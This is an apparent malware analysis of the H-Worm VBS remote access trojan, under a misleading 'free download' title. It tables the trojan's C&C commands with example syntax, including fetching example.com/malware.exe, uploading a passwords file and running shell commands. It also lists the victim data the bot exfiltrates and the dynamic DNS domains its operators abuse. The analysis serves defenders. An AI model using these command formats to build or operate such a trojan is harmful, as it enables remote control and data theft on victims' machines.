    H-Worm Lite Version Free Download || H-Worm is a VBS (Visual Basic Script) based RAT which we believe is derived off the njRAT source code. H-Worm provides cyber-criminals similar controls to njRAT. It also uses dynamic DNS for its C&C servers but unlike njRAT it uses POST requests and the HTTP User-Agent field to exfiltrate sensitive information from the infected machine.

    The C&C communication POST requests typically uses parameters 'cmd' and 'param' as seen in the table below:

    H-Worm Bot Command Summary
    Bot Command Description Example Connection URI
    execute Execute vb code sent in response execute<|>vbscript code None
    update Update bot code to provided code (overwrites existing file) update<|>new vbscript bot code None
    uninstall Removes the bot from the victim machine uninstall None
    send Downloads content from a URL and dumps at a directory send<|>http://www.example.com/malware.exe<|>c: None
    site-send Downloads content from a URL and saves with specified nam site-send<|>http://www.example.com/script.vbs<|>c:script.vbs None
    recv Uploads a file to the C2 domain recv<|>C:UsersUserDocumentspasswords.txt POST /is-recving
    enum-driver Sends information on the victim's system drives enum-driver POST /is-enum-driver
    enum-faf Sends a directory listing for a given path enum-faf<|>C:UsersUser POST /is-enum-path
    enum-process Sends the process listing of the victim's system enum-process POST /is-enum-process
    cmd-shell Run a command via '%comspec% /c' on the infected host cmd-shell<|>calc.exe POST /is-cmd-shell
    delete Deletes a specified file or folder from the victim's system delete<|>C:UsersUserDocuments None
    exit-process Kills the specified process ID via taskkill exit-process<|>123 None
    sleep Sets the number of milliseconds to sleep between 'ready' beacons (default 5000) sleep<|>10000 None
    The C&C callback from an infected system includes following information in the User-Agent field:
    • Bot identifier (based off configurable string in builder & volume serial number)
    • Computer name
    • Username
    • Operating system information
    • Bot version
    • Antivirus information (Default value 'nan-av')
    • USB spreading [true/false] with date obtained from bot's registry entry.
    Below are some screenshots of H-Worm's control panel accessible to the attacker, from two different variants:

    We continue to see many new variants of H-Worm popping up in the wild. Below are the version strings from some of the active H-Worm variants we have been tracking in 2015:

    • 2.0
    • 3az version
    • hello
    • mod version
    • plus
    • safa7_22
    • SKY ESP PC
    • spupdate
    • the KR.joker worm
    • underworld final
    • v1.8.3  By AB DELL
    • v1.8.7  By AB DELL
    • worm Of Dz-47
    • WORM OF DZ-47

    Below is the Geo distribution of the active Command & Control servers we have oberved thus far in 2015:

    One of the most popular features of this RAT family is the usage of Dynamic DNS for its Command & Control server communication. We have seen multiple sub-domains from the following Dynamic DNS domains in 2015 being abused by the malware authors for C&C communication:

    • adultdns.net
    • cable-modem.org
    • dz47.cf
    • ddns.net
    • dnsd.info
    • dvr-ddns.com
    • dyndns.org
    • dynu.net
    • ftp21.net
    • mooo.com
    • myq-see.com
    • no-ip.biz
    • noip.me
    • no-ip.org
    • redirectme.net
    • sells-it.net
    • servecounterstrike.com
    • serveftp.com
    • servehttp.com
    • servequake.com
    • sytes.net
    • user32.com
    • zapto.org


    njRAT & H-Worm variant infections continue to rise, and while this threat is reportedly more prevalent in the Middle-East region, we continue to see infections in other parts of the world as well. Despite Microsoft's attempts to disrupt the C&C channel for this notorious RAT back in June 2014, we continue to see the usage of various dynamic DNS services by the malware authors for it's C&C server communication. It remains one of the most popular and prevalent RATs in the wild today.
